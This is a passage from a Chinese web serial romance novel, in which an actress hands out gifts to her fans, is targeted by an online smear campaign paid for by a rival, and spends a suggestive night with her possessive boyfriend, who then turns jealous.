她曾以为自己是主角,以为粉丝的爱是理所当然,以为只要她演得够真,就能永远被捧在手心。可她忘了,人心不是道具,爱不是可以随意挥霍的资源。 她曾拥有过最纯粹的喜欢,却用算计将它碾碎。 她曾有机会成为真正的光,却选择了在阴影里苟延残喘。 她以为自己在利用粉丝,实则,她才是那个最可悲的囚徒,被虚荣囚禁,被欲望吞噬,被自己编织的谎言困住。 就连陪伴她这么久的大粉,也会对她失望。 苏婉控制不住地嚎啕大哭,声音在空荡的休息室里回荡,像一只被遗弃的野兽,在黑暗中发出最后的哀鸣。 她哭得撕心裂肺,不是因为被曝光,不是因为人设崩塌,而是因为她终于看清了自己好像就是这样一个不值得被爱的人。 …… 潇潇带着伙伴走出后台,脚步却在出口处微微一顿。 场馆外,灯火通明,人声鼎沸。 那不是混乱的围观,而是一场有序的温暖盛会。 密密麻麻的人群围满了出口,手中抱着灯牌,上面写着“温栩栩,我们爱你”“永远支持你”,有人举着应援手幅,上面是温栩栩在舞台上的剪影,旁边写着“真实,是最美的光芒”。 人群看似拥挤,却自发排成了两列,井然有序,像一条通往光明的通道。 温栩栩站在中间,穿着简单的白色T恤和牛仔裤,头发随意扎成马尾,笑容灿烂如阳光,她身上的港风礼服裙已经换下来了,完全没有高高在上的姿态,好像跟粉丝就是朋友那样相处。 她手里提着一个个小袋子,里面装着定制的应援小礼物,手写感谢卡、小饼干、还有一张她亲笔画的笑脸贴纸。 她一个个分发,语气轻柔:“谢谢你们来现场支持我,辛苦了。” 有粉丝担心她累到,主动接过袋子帮她发放,有人递上水,轻声说:“你先喝点水。”温栩栩笑着接过,喝了一口,又继续忙碌。 更让人动容的是,有人抱着一箱“猫爪冰棍”在发放。 那是温栩栩自己出钱定制的,因为她知道粉丝等太久会渴。 冰棍是粉色的,顶端是可爱的猫爪形状,包装上印着“夏天和你,都很甜”。 第1284章 温栩栩你是魔鬼吧! 一个女孩撕开包装,咬掉猫爪的小耳朵,瞬间被冰得眯起眼睛,却又忍不住笑出声来:“哇,好冰!但好爽!” 旁边的大粉笑着拍她:“慢点吃,别凉到胃。”那女孩赶紧小跑过去,和其他粉丝挤在一起,像一群久别重逢的家人。温栩栩站在最中间,有人喊“来张合照”,大家立刻凑近,笑容灿烂,齐声喊:“茄子——!” “咔嚓”一声,画面定格。 那一刻,没有剧本,没有表演,没有算计。 只有真实的情感,像夏夜的风,轻轻拂过每个人的心。 潇潇静静看着这一幕,眼眶又红了。 为什么她当初喜欢的人不是温栩栩呢?如果是温栩栩的话,就不会像现在这样难过了,对吧。 “温栩栩,你真的,特别特别耀眼,像是天上最闪最亮的那颗星星。”短发女孩仰着脸,眼睛亮晶晶的,像盛满了夏夜的碎光。 她刚刚还因为紧张而微微发红的脸颊,此刻终于重新绽放出笑容,像一朵被阳光照耀的向日葵,纯粹又热烈。 她望着温栩栩,毫不掩饰眼中的崇拜与欢喜,仿佛眼前这个人,真的就是她灰暗世界里突然降临的星光。 温栩栩闻言,眉眼一弯,唇角勾起一抹温柔又狡黠的弧度。 她伸出手,轻轻捏了捏女孩的脸颊,指尖带着夏日微凉的触感:“比起星星,我更喜欢你把我比喻成太阳。” “哈?”短发女孩一愣,随即瞪大眼睛,被这突如其来的“不要脸”发言惊得差点咬到舌头。 她张了张嘴,想反驳,却又觉得这话莫名顺耳,脸颊微微泛红,索性不再纠结,大口将剩下那半根还没完全融化的猫爪冰棍塞进嘴里,含糊地“唔唔”了两声,像是在抗议,又像是在撒娇。 冰凉甜腻的滋味在舌尖化开,猫爪形状的冰棍在阳光下泛着晶莹的光泽,她咬着冰糕棍,眼睛却弯成了两道可爱的小月牙,像盛满了整个夏天的甜。 温栩栩看着她这副模样,心头一软,忍不住伸手揉了揉她的发顶,低声呢喃:“啊,这样有点可爱啊。” 她微微仰头,望向湛蓝的天空,阳光洒在她的侧脸,勾勒出柔和的轮廓。 她捏着自己的下颌,陷入片刻的沉思,脑海中却早已神游天外,夏天吃过甜滋滋的冰棍,再接吻,是不是感觉更棒一些? 冰凉与温热交织,甜味在唇齿间蔓延,像极了青春里最暧昧的心动…… 她嘴角不自觉地上扬,眼神飘忽,仿佛已经看到某个模糊的身影在夕阳下朝她走近,而她正舔着冰棍,笑着递出另一根。 好像今晚就可以试试看呢。 她心里悄悄想着,脸上泛起一丝若有若无的红晕,像晚霞轻染。 就在这时,站在一旁的大粉突然“嘿嘿”一笑,声音里带着几分调侃与期待:“栩栩,你说要让我们跟着你变更好,那你打算怎么帮我们啊?别光说不练,我们可都记着呢!” 这话一出,周围几个粉丝也纷纷竖起耳朵,眼神里满是期待,仿佛温栩栩下一秒就要宣布什么惊天动地的“偶像福利计划”。 温栩栩缓缓转过身,笑意未减,眼神却透着一股“不怀好意”的狡黠。她轻轻挑眉,语气轻快却带着不容置疑的威压:“微博上催你们好好读书好好工作啦!” “???”粉丝们集体愣住,脸上写满了问号,仿佛听到了什么天方夜谭。 温栩栩却像是没看到她们的震惊,继续慢悠悠地“补刀”:“以后我会经常督促你们学习的哦。高中生就要好好准备高考,别整天刷我的物料,该背的公式一个都不能少,大学生呢,四六级、计算机二级、驾驶证……各种证件能考的都给我安排上!哦对了——”她忽然想起什么似的,眼睛一亮,“快毕业的时候,我会专门建个群,每天定点提醒你们交论文进度,查重率别超标,导师意见要及时改,别拖到最后一周才熬夜赶!” “?????”粉丝们彻底傻眼,一个个张着嘴,像被集体点穴,大脑宕机。 她们这是粉了个什么玩意儿?! 说好的温柔治愈系偶像呢?说好的“陪你一起变好”呢? 怎么听着听着,变成了“高中班主任附体”?! “有我这样一直在后面鞭策你们的偶像,是不是超级棒呢?”温栩栩歪着头,笑得一脸无辜,甚至还眨了眨眼睛,仿佛在说“我可是为你们好”。 温栩栩你是魔鬼吧! 粉丝们面面相觑,有人欲哭无泪,有人已经默默掏出手机,准备把“温栩栩学习监督群”的二维码删了。 “我们……我们粉的不是个偶像,是……是学业督导员吧……”有人小声嘀咕。 温栩栩却毫不在意,反而笑得更欢了,眼睛弯成月牙,像只偷了鱼的小猫。 她双手背在身后,轻轻晃了晃身子,语气轻快:“怎么?怕了?早说啊!追我的代价,就是你不仅要看我发光,还得自己努力发光。” 她顿了顿,眼神忽然认真起来,声音也柔和了许多:“我知道很多人喜欢我,是因为我给了你们勇气,或者让你们觉得‘原来生活还可以这么温暖’。但我想说的是,真正的光,不是我给的,是你自己心里本来就有的。我只是提醒你,别忘了点亮它。” 她看着眼前这些年轻的脸庞,有的还在读书,有的刚踏入社会,有的正为未来迷茫。 她轻轻叹了口气,又笑了:“所以,别只顾着追星,也别只顾着吃瓜。去读书,去考证,去实习,去恋爱,去失败,去重新站起来。等你们站在自己人生的高处回头看时,会发现,原来我也曾这么努力过,而温栩栩,只是那个推了你一把的人。” 粉丝们沉默了片刻,随即,有人小声说:“……好像……也不是不能接受。” “对啊,她说得对。”另一个女孩点点头,眼神渐渐坚定,“我下周就要考四级了,本来想摆烂的,现在突然有点动力了。” 第1285章 出道就分手 “那……那我明天就去报名计算机考试……”有人小声接话。 温栩栩看着她们,笑得温柔又得意,像只终于得逞的狐狸。 而那个短发女孩,一直安静地站在一旁,咬着冰糕棍,听着温栩栩和粉丝们的互动,忍不住“噗嗤”一声笑了出来。她的眼睛弯成小月牙,像夏夜最温柔的弦月,映着阳光,也映着温栩栩的影子。 她小声嘀咕:“明明看起来软乎乎的,怎么一开口就这么‘魔鬼’啊……” 可她心里却暖暖的,像被什么轻轻撞了一下。 原来,偶像的意义,不只是闪闪发光地站在舞台上,更是用她的光,照亮自己面前的路。 她低头看了看手里的猫爪冰棍,已经快化完了,糖水顺着木棍滴在手背,黏黏的,却甜到了心里。 她忽然想,如果温栩栩是太阳,那她也想变成一颗努力发光的小星星,哪怕不够亮,也想努力地、认真地,活出自己的模样。 而温栩栩,依旧站在阳光里,笑得灿烂又狡黠,像这个夏天最耀眼的存在。 耀眼到,让人忍不住想变得更好。 …… 温栩栩和苏婉参加的节目直播结束后,网络瞬间炸开了锅。 热搜榜像是被一场突如其来的风暴席卷,榜首位置赫然挂着两个词条。 #温栩栩港风造型封神# #温栩栩出道就分手# 前者是粉丝为她在舞台上惊艳表现的欢呼,而后者,却是一场精心策划的网络围猎。 温栩栩上热搜,早已是常态。 她每一次露面、每一次舞台、每一次采访,都能轻易点燃舆论的导火索。 可这一次,热搜的滋味却格外苦涩。 #温栩栩出道就分手# 这个词条,像一根淬了毒的针,直直扎进她的公众形象里。 点进去,满屏都是恶意与煽动。 这背后,是王双双的“杰作”。 她动用了自己背后资源,花了重金,买通水军、校园论坛管理员、甚至一些无良自媒体,炮制出这场针对温栩栩的“情感审判”。 点开#温栩栩出道就分手#,首页清一色是某高校匿名论坛的截图,标题耸动: 《惊!顶流新星温栩栩为出道甩掉相恋三年男友,背后真相令人作呕》 《她不是女神,是情感骗子!温栩栩恋爱史全扒》 《可怜学长被玩弄感情,为她放弃保研机会,她却转身进娱乐圈》 帖子里,图文并茂,细节“丰富”。 有温栩栩和男友在校园里牵手的偷拍照,有她靠在对方肩头的亲密瞬间,更有她男友在论坛发的“深情小作文”截图,字里行间满是委屈与隐忍,将自己塑造成一个为爱牺牲、却被无情抛弃的“悲情男主”。 文字写得情真意切,配上几张模糊却极具暗示性的照片,瞬间点燃了网友的共情与怒火。 舆论彻底失控。 网络上,骂声如潮水般涌来。 更有甚者,翻出温栩栩学生时代在校园论坛的旧帖,断章取义地解读成“她早就喜欢被追求的感觉”“享受男人为她争风吃醋”。 照片铺天盖地。 曾经的合照被恶意放大、裁剪、加上滤镜,配上煽动性文字,成为“证据”。 温栩栩青涩的脸庞,被无数人指着鼻子骂“虚伪”“心机”“绿茶”。 粉丝们试图发声,用事实反驳:“他们早就和平分手!”“恋爱是私事,不该被公开审判!”“出道和分手时间根本对不上!” 可这些理性的声音,瞬间被淹没在汹涌的骂潮中。 有人直接甩出更私密的照片,温栩栩给男友织的围巾、一起养的猫、甚至她写的情书片段全被当成“虚伪表演”的铁证。 温栩栩的粉丝哑口无言。 他们心疼,却无力。 因为在这个流量为王的时代,真相不重要,情绪才重要。 就在这时,那位“受害男主”终于发声了。 他发了一条微博,文字简洁,语气克制,却字字诛心。 那条微博,看似大度,实则高明至极。 他没有直接指控,却用“过去的都过去了”暗示自己曾被伤害; 他没有点名温栩栩,却用“她进了娱乐圈,我选择了平凡”形成强烈对比; 他自称“不要打扰我们”,实则将两人关系公之于众,坐实“情侣”身份,进一步强化温栩栩“甩人成名”的负面形象。 更讽刺的是,这条微博让他瞬间收获“温柔前任”“深情学长”“被辜负的优质男”等标签,无数网友为他打抱不平。 舆论彻底倒向一边。 而王双双,正躲在幕后,看着数据飙升,嘴角勾起冷笑。 她不仅买了热搜,还联系了几个专扒明星黑料的狗仔号,提供“独家线索”包括温栩栩在校期间“频繁换男友”“利用感情获取资源”“曾为争取演出机会陪导演吃饭”等未经证实的“猛料”。 狗仔们如获至宝,连夜赶稿。 文章里,用词暧昧,逻辑跳跃,却成功将温栩栩塑造成一个为达目的不择手段的“心机女”。 量迅速破亿,转发数以十万计。 网络暴力达到了顶峰。 温栩栩的社交平台评论区沦为战场。 她的超话被爆破,粉丝群被恶意举报。 黎氏的律师宋婉榕坐在办公室里,指尖轻轻敲击着桌面,目光凝视着手机屏幕上铺天盖地的热搜与照片,眉头微蹙,久久说不出话来。 她不是没见过风浪,作为黎氏集团专属法务,经手的明星合约、绯闻危机、舆论公关数不胜数。 可这一次,她却罕见地迟疑了。 屏幕上,温栩栩与那位“学长”的合照一张接一张地被曝光,亲密无间,眼神含情,背景是校园的樱花树、图书馆的台阶、甚至还有她亲手为对方织的围巾。 每一张图,都像一颗精准投掷的炸弹,炸毁温栩栩苦心经营的“独立新生代”人设。 “这种情况……足以证明温栩栩的确有过一段公开的恋爱关系。”宋婉榕低声自语,指尖滑动屏幕,眉头越皱越紧。 她不是在意恋情本身,恋爱本就难以避免,可问题在于,这段感情被刻意塑造成“被甩”“被利用”“为名利抛弃真爱”的剧本,而温栩栩,正被钉在“情感骗子”的耻辱柱上。 她还不清楚这段关系的全貌,也不知温栩栩与对方分手的真实原因。 第1286章 我只信你 在没有掌握全部事实之前,宋婉榕清楚自己不能贸然发声,更不能以黎氏的名义为温栩栩背书。稍有不慎,反而会牵连黎氏的声誉。 最终,她叹了口气,拨通了温栩栩的电话。 电话那头,却迟迟无人接听。 宋婉榕叹了口气,给温栩栩同时发了短信和微信,等温栩栩回电商量对策。 温栩栩没有第一时间回到剧组,因为中途被黎云笙接走。 她上了车,车里很安静,只有轻柔的爵士乐在低低流淌。 她侧头看向驾驶座的男人,轻声问:“你有没有看到我唱粤语歌?” 黎云笙目视前方,唇角微扬:“看到了。” “怎么样?”她眨眨眼,带着一丝期待。 “唱得很好。”他语气平静,却藏着笑意,“人美,歌也好听。” 温栩栩一愣,随即“噗嗤”笑出声来,眼底瞬间亮起星星般的光:“哇哦,黎总今天这么会夸人?好乖啊,这样夸我。”她故意拖长语调,语气软糯,像撒娇的猫。 黎云笙侧眸看她一眼,眸光深邃:“你开心就好。” “那当然要奖励你。”她忽然倾身向前,凑到他面前,鼻尖几乎贴上他的。 车内空间狭小,气息交缠,她能闻到他身上淡淡的雪松香。她笑着,眼波流转,然后轻轻在他唇上落下一吻。 短暂,却炽热。 因为车窗贴着防窥膜,外界看不到分毫。车内却像被点燃了一簇火苗,暧昧在空气里悄然蔓延。 黎云笙没有躲,也没有回应,只是静静看着她,眸色渐深。 她却不怕,反而伸手勾住他的领带,再次凑近:“只许看,不许动?” 他低笑一声,终于伸手扣住她的后颈,将她拉近,这一次,换他主导。 吻来得更深,更急。 像一场蓄谋已久的风暴,席卷了所有克制与距离。温栩栩的呼吸乱了,指尖不自觉地抓紧他的衬衫,仿佛怕自己被这突如其来的汹涌吞噬。 车窗外,城市的光影飞速掠过,车内却像被按下了暂停键,只剩下彼此交缠的呼吸与心跳。 不知过了多久,车子缓缓停在一家五星级酒店的地下车库。 他们没有立刻分开,而是额头抵着额头,喘息未平。 温栩栩脸颊绯红,眼尾泛着水光,像被吻得失了魂。 “我们……去房间?”她轻声问,声音软得像棉花糖。 黎云笙没说话,只是解开安全带,绕到她那边,打开车门,牵起她的手。 …… 酒店房间,落地窗外是整座城市的夜景。 他们一进门,门就被轻轻合上。温栩栩背靠在门板上,还没反应过来,黎云笙已再次将她压向墙壁,吻落下来,比车上更炽烈,更不容抗拒。 他的手滑进她的发间,另一只手环住她的腰,将她紧紧锁在怀中。 温栩栩仰头回应,指尖扣住他的肩膀,任由自己沉溺在这场久违的亲密里。 “你……是不是早就想这么做了?”她在他唇间轻喘。 “嗯。”他低语,声音沙哑,“从你第一次在舞台上唱粤语歌,我就想这么做了。” 她笑,眼波流转:“那你还装得那么冷淡。” “怕吓跑你。”他吻她的眼角,鼻尖,最后回到唇上。 “我才不会跑。”温栩栩轻声哼哼。 黎云笙将她抵在门板上,指尖扣住她的下颌,迫使她抬头迎视自己。 他的目光深邃如渊,藏着压抑已久的渴望与占有欲。 温栩栩心跳加速,指尖不自觉地攥紧了他的衬衫,仿佛怕自己被这突如其来的汹涌吞噬。 下一刻黎云笙的吻便落了下来。 炽烈,不容抗拒。 他的唇滚烫,像一场久旱后的暴雨,席卷她所有的理智。 温栩栩轻颤,随即闭上眼,主动回应。 她的指尖攀上他的肩,慢慢滑入他的发间,轻轻扣住。 两人之间的距离被彻底抹去,呼吸交缠,心跳同频。 黎云笙的吻从唇角缓缓移开,沿着她的下颌线轻啄,一路下滑,落在她修长的颈侧。 温栩栩仰起头,发出一声几不可闻的轻吟,像被点燃的引线,身体悄然发烫。 他的唇在她锁骨处停留,轻轻咬了一下,惹得她猛地一颤,指尖在他背上收紧。 “疼吗?”他低语,声音沙哑,带着笑意。 “你故意的。”她喘息着,眼波流转,带着嗔怪与娇羞。 他低笑,再次吻住她,这一次更慢,更缠绵,像在品尝珍藏已久的美酒。 温栩栩被他吻得腿软,整个人几乎挂在他身上。 他低头吻她,比之前更热烈,更深沉。 温栩栩的呼吸彻底乱了,指尖紧紧揪住他的衬衫,仿佛怕自己被这汹涌的爱意冲走。 温栩栩在他怀中轻颤,唇间溢出细碎的呻吟,像风中摇曳的花瓣,脆弱而动人。 她的指尖在他背上划过,留下浅浅的红痕,像爱的印记。 “黎云笙……”她轻唤他的名字,声音软得像棉花糖,带着依赖与信任。 他停下动作,低头看她,眸色深得几乎要将她溺毙:“嗯?” “喜欢你……”她轻哼。 他低笑,再次吻住她,像一场无休止的沉沦。 …… 第二天清晨,阳光透过纱帘洒进来。 温栩栩懒洋洋地翻了个身,整个人陷在柔软的被褥里,像只餍足的猫。 她不想起床,想赖床。 黎云笙早已醒来,侧身看着她,眼底染着温柔的笑意。他伸手拨开她额前的碎发,动作轻柔。 “我给你请假了。”他低语。 她眯着眼看他:“谁准你替我做主的?” “你昨晚说,一切听我的。”他挑眉,语气带着几分得意。 她轻哼一声,钻进他怀里,蹭了蹭:“那我现在反悔了。” 他笑,将她搂得更紧。 就在这时,黎云笙的手机震动起来。 他皱了皱眉,伸手拿起,却见是助理和宋婉榕接连发来的链接,全是关于温栩栩的黑料截图,包括热搜词条、校园论坛小作文、以及她与“学长”的大量合照。 他点开,一张张看过去,眼神从温柔逐渐转为冰冷。 照片上的温栩栩,青涩、依赖、笑得灿烂。 而那个男人,高大俊朗,眼神温柔,像极了“完美男友”。 可黎云笙知道,这些照片,现在正被用来将她千刀万剐。 他目光幽冷,缓缓转向身旁的女人。 温栩栩察觉到他的异样,睁开眼,迷迷糊糊地问:“怎么了?” 他没说话,只是将手机递到她面前。 她接过,扫了一眼,随即愣住。 热搜、骂声、照片、小作文……所有她试图逃避的过去,正以最恶劣的方式,卷土重来。 她沉默了几秒,然后抬眼看他,轻声问:“你会相信我吗?” 黎云笙看着她,忽然伸手将她拉进怀里,吻了吻她的发顶:“我只信你。” 她眼眶一热,差点落下泪来。 可就在这时,她手机也响了,是宋婉榕的来电。 温栩栩深吸一口气,接通电话。 “温栩栩,”宋婉榕的声音严肃,“你必须立刻回应,否则舆论会彻底失控。” 温栩栩闭上眼,知道这场风暴,她再也躲不掉了。 第1287章 脑子里装的都是你呀 温栩栩跟宋婉榕商议了下接下来该怎么做,两人是电话联系的,跟宋婉榕说清楚了跟赵文彦之间的关系。 挂断与宋婉榕的电话时她哼着不成调的小曲,赤脚踩在柔软的地毯上,发丝微乱,脸颊泛着未褪的绯色,整个人像刚从一场甜腻的梦里醒来,浑身都透着慵懒与娇俏。 可当她转身,目光触及坐在床边的黎云笙时,那点轻松瞬间凝固。 他没说话,只是静静坐着,身形挺拔如松,却透着一股令人窒息的压迫感。 他手里捏着平板,屏幕亮着是某营销号刚刚更新的爆料帖:《温栩栩与系草赵文彦深夜同回公寓?亲密互动曝光,恋情实锤?》 配图清晰得刺眼。 有她和赵文彦并肩走回宿舍的背影,有他在雨中为她撑伞的侧影,甚至还有她笑着接过他递来的热奶茶的瞬间。 照片角度刁钻,光线朦胧,每一张都像是被精心剪辑过的“证据”,将一段再普通不过的校园交集,硬生生扭曲成“地下恋”的铁证。 而更糟的是,这些图,配上那些煽动性的文字,已经被顶上了热搜。 黎云笙已经翻了一遍。 不止是这家营销号,还有十几个自媒体账号同步推送,标题一个比一个耸动:“新晋流量温栩栩情陷校园初恋”“温栩栩恋爱脑上线”“温栩栩出道后秒甩男友”…… 他眸光沉沉,像一潭深不见底的寒水,映不出情绪,却压得人喘不过气。 说过信她是一回事,但心里不爽又是另一回事。 温栩栩心里“咯噔”一下,也不知道网络上那群人又乱造谣了什么。 可看着黎云笙那双幽邃冷沉的眼,她才意识到他不仅仅是吃醋,他是动了怒。 更雪上加霜的是,手机接连震动。 助理发来微博热搜截图,里面甚至包括温栩栩大一参加校园歌手赛时,赵文彦在台下举灯牌的照片,以及她生日那天,赵文彦送她一束白玫瑰的聊天记录截图。 全被翻出来了。 温栩栩嘴角的笑意彻底僵住,心里一阵发虚。 她当然知道这些事是怎么回事。 赵文彦是她的学长,人帅成绩好,是公认的“系草”,对她也确实有过好感。 可她从没回应过,甚至连暧昧都没给过。 那些所谓的“亲密照”,不过是同学之间的正常往来,他顺路送她回宿舍,帮她占图书馆座位,但赵文彦帮忙占座位这件事也不是我温栩栩让他做的,最后温栩栩也没有坐到赵文彦抢占的座位上,至于生日时送花那是有人组织的送她花,不是赵文彦自己送的。如果是赵文彦送的,她是绝对不会收的,她对赵文彦没意思,所以不可能给他任何暧昧的态度。 可现在,全被有心人剪辑、放大、曲解。 而黎云笙,显然已经看完了所有“证据”。 他抬眸,目光如刀,冷冷扫过来。 温栩栩心里一紧,下意识往后退了半步,又被自己这反应逗笑了。 她怕什么?她又没做错事。 可面对黎云笙,她就是莫名心虚。 “那个……”她轻声开口,声音软得像棉花糖,“你……看到那些了?” 黎云笙没说话,只是将平板轻轻放在床头,动作缓慢,却带着一种压抑的怒意。 空气仿佛凝固了。 温栩栩咬了咬唇,忽然灵机一动,那没办法了,只能撒娇。 她裹着薄被,像只受惊的小兔子,飞快地往被子里一缩,整个人藏进柔软的被褥里,只露出一双水汪汪的大眼睛,偷偷瞄他。 黎云笙眉梢微动,眸色更深。 她又缓缓探出头,脸颊微红,眼眸晶亮,唇角勾起一抹讨好的笑。 可黎云笙只是静静看着她,眼神复杂,像是在看一个不知天高地厚的小孩。 温栩栩终于撑不住,从床上软着身子慢慢爬下来。 她腰酸得厉害,刚一动,便轻哼一声,整个人往前一栽。 黎云笙眼疾手快,一把扣住她的手臂,将她稳稳扶住。 温栩栩顺势一歪,直接跨坐在他腿上,像只黏人的猫,赖在他怀里不肯起来。 她脸颊绯红,呼吸微乱,眼尾泛着情动后的湿润,声音软得能滴出水来:“阿笙哥哥~不开心了吗?” 她伸出手,像小狐狸似的,指尖轻轻勾了勾他的衣袖,眼眸眨了眨,带着几分狡黠与无辜:“我们亲亲就好了呀,里都这么写的,吵架了亲一下,气就消了。” 她说着,便凑过去,想吻他。 黎云笙侧脸,躲开。 温栩栩不信邪,又凑过去,他再次扭头。 她终于瞪大眼,一脸不可置信:“你……你竟然躲我?” 她撒娇,他从来都是缴械投降,她使坏,他也只是笑着捏她脸。 可现在,他竟然躲她? 温栩栩心里那点委屈瞬间炸开,眼眶都红了。 她不信邪,直接扑进他怀里,像只撒欢的小狐狸,使劲蹭来蹭去,发丝扫过他的下颌,带着淡淡的栀子香。 “我到底哪里做错了嘛……”她声音闷闷的,带着鼻音,像只被抛弃的小动物,“你是不要你的小兔子了吗?” 黎云笙终于动了。 他抬手,扣住她的后颈,力道不重,却让她动弹不得。 “温栩栩,”他声音低沉,带着一丝疲惫的沙哑,“我真想知道,你脑子里装的都是什么?” 温栩栩一怔,随即委屈地瘪嘴:“我脑子里装的都是你呀,从早到晚,全是黎云笙。” 她语气真诚得近乎无辜,眼眸亮晶晶的,像是在说一件再自然不过的事。 可黎云笙却笑了,笑得极淡。 “是吗?”他指尖轻轻摩挲着她的后颈,声音却像冰,“那你怎么解释,这些照片?这些聊天记录?这些‘恰好’被曝光的‘恋爱细节’?” 温栩栩心里一紧。 她知道,他不是在质问和赵文彦恋爱,而是在问为什么这些事,会被人挖出来?为什么她没提前告诉他?为什么她看起来,像是毫不在意? 可她真的不在意吗? 不,她在乎。 她只是也没料到会被人这么快的挖出来整理成这种黑料。 第1288章 讨好他 她咬了咬唇,忽然不闹了,乖乖趴在他怀里,声音轻得像叹息:“这些照片都是假的,那些营销号为了流量什么都能编。赵文彦只是普通朋友,我连他微信都快删了……可我没想到,会有人拿这些做文章。” 她顿了顿,抬眼看他,眼底泛着水光:“我也没想到,你会不高兴。” 黎云笙看着她,眸色深沉。 他当然知道她没撒谎。 可他知道归知道,心里那股郁气,却怎么也散不去。 不是因为怀疑她,而是太在意了。 黎云笙生气吗? 倒也不是纯粹的“生气”。 那是一种更复杂、更幽深的情绪,像深海之下暗涌的潮汐,表面平静,内里却翻江倒海。 他不是恼怒于温栩栩和赵文彦之间那些被刻意放大的“过往”,也不是真的怀疑她曾背叛过他们的感情。 他清楚温栩栩的性子,也了解她对他的依赖与依恋。 可正因如此,才更让他心头翻腾着一股难以言说的躁郁。 温栩栩是他的人。 这个认知早已刻进他的骨血,成为他生命中不可动摇的信念。 温栩栩是他的人,如今,全网铺天盖地都是她与另一个男人的“亲密照”,牵手、同框、撑伞、送花……每一张图都像一根细密的针,精准地刺入他最敏感的神经。 这不是简单的绯闻,而是一场赤裸裸的试探。 有人在用这些照片告诉他,你看,她也曾被别人注视过,也曾笑得那样甜,她不是只属于你一个人的,她是从别的窝里跑出来的。 这激起了他内心最原始、最强烈的占有欲。 那种感觉,就像有人在他耳边低语“你珍视的宝贝,其实也曾是别人的梦。” 而这种暗示,比任何挑衅都更令他无法容忍。 黎云笙瞳眸微缩,眸光阴冷如霜,下颌线绷得极紧。 他坐在那里,身形挺拔却透着一股令人窒息的压迫感,仿佛周身空气都被冻结。 那股危险的气息无声蔓延,连室内的温度都仿佛降了几度。 温栩栩心间微颤。 她不是没见识过黎云笙的冷,可这一次不同。 以往的冷是克制、是疏离,而此刻的冷,却带着一种被触碰底线后的暴戾与压抑,像一头被激怒的猛兽,虽未嘶吼,却已露出獠牙。 她伸出手,轻轻摇晃着男人的衣袖,指尖微凉,动作小心翼翼,像只察觉到风暴将至的小动物,本能地想要安抚。 他没有看她,沉默地取出一根烟,动作缓慢而精准,仿佛在压抑着某种即将爆发的情绪。银质打火机在他指间翻转,冷光一闪。 温栩栩偷偷看他一眼,见他眉宇间笼罩着一层阴翳,那张俊美得近乎锋利的脸,在昏黄灯光下显得格外冷峻。 他看人时,总像内里藏着一把寒刀,不动声色,却能将人心剖开。 她咬了咬唇,忽然伸手,从他指间夺过打火机。 “咔——” 一声轻响,火黄色的小火苗跃然而出,在她指尖跳跃,映亮她眼底的忐忑与讨好。 她将火苗递到他唇边,动作轻柔. 黎云笙垂眸,看了她一眼,这才缓缓低头,衔住香烟,轻轻一吸。 火光在烟头明灭,薄薄的烟雾升腾而起,将他的面容笼罩在一片朦胧之中。 浓浓的烟草味在空气中弥漫,带着一丝苦涩,却又奇异地与他身上的气息融合,冷冽、沉郁、带着某种令人上瘾的危险魅力。 温栩栩鼻息间全是这股味道,心口微微发紧,既心悸,又着迷。 她知道,他抽烟,从来不是为了瘾,而是为了压住情绪。 而此刻,他需要压住的,是那股几乎要冲破理智的占有欲。 男人的面容在烟雾中若隐若现,俊美得惊心动魄。抬起手臂时,肌肉线条流畅而有力,下颌骨锋利如刀削,锁骨深陷,像一道通往深渊的入口。 那双深不见底的黑眸,仿佛藏匿着星辰大海,又似能吞噬一切光亮。 温栩栩舔了舔唇瓣,只觉腰更酸软几分。 昨夜的记忆如潮水般涌来,他将她抵在墙边,声音低哑地问:“说,你是谁的人?” 她喘息着回答:“是阿笙的,只属于阿笙……”他才终于吻下来,带着惩罚般的力度,将她彻底揉进骨血。 可现在,他却像又要将她推开。 她不敢再任性,也不敢再装傻。 她的头轻轻埋进他胸口,发丝扫过他微凉的衬衫,声音软得像棉花糖,带着一丝撒娇的鼻音:“阿笙,我腰好酸啊……你帮我揉一揉好不好?” 黎云笙垂眸,看着她蜷缩在自己怀中的模样,像只受惊的小狐狸,终于学会了示弱。 他没有说话,只是空闲的那只手缓缓抬起,落在她纤细的后腰处。指尖触碰到她肌肤的瞬间,他眸色一暗,那里的皮肤嫩滑如剥壳的鸡蛋,稍一用力,便能留下指印,甚至像是能被捏碎。 他忆起昨夜,她在他身下颤抖,他失控地握住她的腰,指腹在她肌肤上留下青紫的痕迹。 那时的他,被欲望与占有欲吞噬,恨不得将她揉进血肉,让她永远带着属于他的印记。 而此刻,他指尖的力道逐渐加重,带着某种惩罚意味。 温栩栩疼得轻哼一声,在他怀里扭了扭,想躲却又不敢躲,只能委屈地哼唧:“疼……阿笙,轻点……” 可他不为所动,力道反而更重几分。 她终于不再动了,乖乖趴在他怀里,身体却还在微微颤抖,像是被欺负狠了的小动物,连呼吸都带着轻哼。 她不敢抬头,生怕对上他那双能看透一切的眼睛。 黎云笙眸光微闪。 他终究还是心软了。 他捏住她的下巴,力道不重,却坚定地逼她抬头。 温栩栩被迫仰起脸,一张小脸皱成一团,眼睛红彤彤的,蓄满了泪水,像只被雨淋湿的小兔子,楚楚可怜。 那眼泪在眼眶里打转,却倔强地不肯落下,直到被他这么一捏,才终于“啪嗒啪嗒”往下掉,一颗接一颗,晶莹剔透,像是数着秒,就等这一遭才肯哭出来。 黎云笙眉头一皱,心底那点烦躁瞬间被击碎。 他低咒一声,抬手狠狠掐灭了烟,动作干脆利落,仿佛在掐灭某种失控的情绪。 随即,他用指腹抹去她脸上的泪痕,声音低沉而沙哑:“哭什么?” 第1289章 那你乖不乖 黎云笙怎么会不清楚温栩栩的小心思。 她此刻就是故意的在示弱,想让他心软,她最是会演戏的,他一直都知道。 “你欺负人……” 温栩栩的声音哑得厉害,像是被什么磨过一遍,带着刚哭过的沙哑与委屈。 她蜷在黎云笙怀里,像只被雨淋透的小兽,明明刚刚还在撒娇耍赖,这会儿却忽然换了一副模样,绵软软地开口控诉,尾音微微上扬,带着点颤,仿佛他真是个十恶不赦的罪人。 黎云笙眉梢微动,眸光沉了沉。 她这话,说得实在无理。 明明是他被全网的“温栩栩与赵文彦”热搜气得指尖发冷,可到了她嘴里,倒像是他无理取闹、无端发难。 偏偏她那副模样,又让人恨不起来。 她仰着脸,一双眼睛通红,睫毛上还挂着未干的泪珠,湿漉漉地盯着他,像在等他心软,又像在逼他低头。 那眼神,太会了,她知道他受不住她这样看她。 “我都已经任你予取予求了……”她声音更低,带着点羞耻的哽咽,脸颊泛起薄红,“可你怎么还不理人,冲我发脾气……我都这么乖了。” 黎云笙呼吸一滞。 乖?她也配说“乖”? 